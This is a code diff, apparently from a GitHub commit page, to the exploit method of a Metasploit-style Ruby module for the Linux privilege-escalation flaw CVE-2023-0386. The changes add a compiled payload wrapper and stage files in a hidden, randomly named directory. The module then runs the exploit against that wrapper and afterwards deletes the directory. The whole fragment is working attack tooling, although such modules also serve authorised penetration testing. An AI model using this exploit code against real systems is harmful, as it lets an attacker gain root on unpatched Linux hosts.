@@ -112,27 +112,28 @@ def exploit
112
112
# Upload exploit executable
113
113
exploit_dir = "#{ base_dir } /.#{ rand_text_alphanumeric ( 5 ..10 ) } "
114
114
exploit_path = "#{ exploit_dir } /.#{ rand_text_alphanumeric ( 5 ..10 ) } "
115
+ payload_wrapper_path = "#{ exploit_dir } /.#{ rand_text_alphanumeric ( 5 ..10 ) } "
115
116
116
117
mkdir ( exploit_dir )
117
118
register_dir_for_cleanup ( exploit_dir )
118
119
119
120
if live_compile?
120
121
vprint_status ( 'Live compiling exploit on system...' )
121
122
upload_and_compile ( exploit_path , strip_comments ( exploit_source ( 'CVE-2023-0386' , 'cve_2023_0386.c' ) ) , '-D_FILE_OFFSET_BITS=64 -lfuse -ldl -pthread' )
123
+ upload_and_compile ( payload_wrapper_path , strip_comments ( exploit_source ( 'CVE-2023-0386' , 'payload_wrapper.c' ) ) )
122
124
else
123
125
vprint_status ( 'Dropping pre-compiled exploit on system...' )
124
126
upload_and_chmodx ( exploit_path , exploit_data ( 'CVE-2023-0386' , 'cve_2023_0386.x64.elf' ) )
127
+ upload_and_chmodx ( payload_wrapper_path , exploit_data ( 'CVE-2023-0386' , 'payload_wrapper.x64.elf' ) )
125
128
end
126
129
127
130
# Upload payload executable
128
- payload_path = "#{ base_dir } /. #{ rand_text_alphanumeric rand ( 5 .. 10 ) } "
131
+ payload_path = "#{ exploit_dir } /payload "
129
132
upload_and_chmodx ( payload_path , generate_payload_exe )
130
- # register payload for automatic cleanup
131
- register_file_for_cleanup ( payload_path )
132
133
133
134
# Launch exploit
134
135
print_status ( 'Launching exploit...' )
135
- cmd_string = "#{ exploit_path } #{ payload_path } #{ exploit_dir } /.#{ rand_text_alphanumeric ( 5 ..10 ) } "
136
+ cmd_string = "#{ exploit_path } #{ payload_wrapper_path } #{ exploit_dir } /.#{ rand_text_alphanumeric ( 5 ..10 ) } "
136
137
vprint_status ( "Running: #{ cmd_string } " )
137
138
begin
138
139
output = cmd_exec ( cmd_string , nil , datastore [ 'TIMEOUT' ] )
@@ -145,4 +146,5 @@ def exploit
145
146
cmd_exec ( "rm -rf '#{ exploit_dir } '" )
146
147
end
147
148
end
149
+
148
150
end
0 commit comments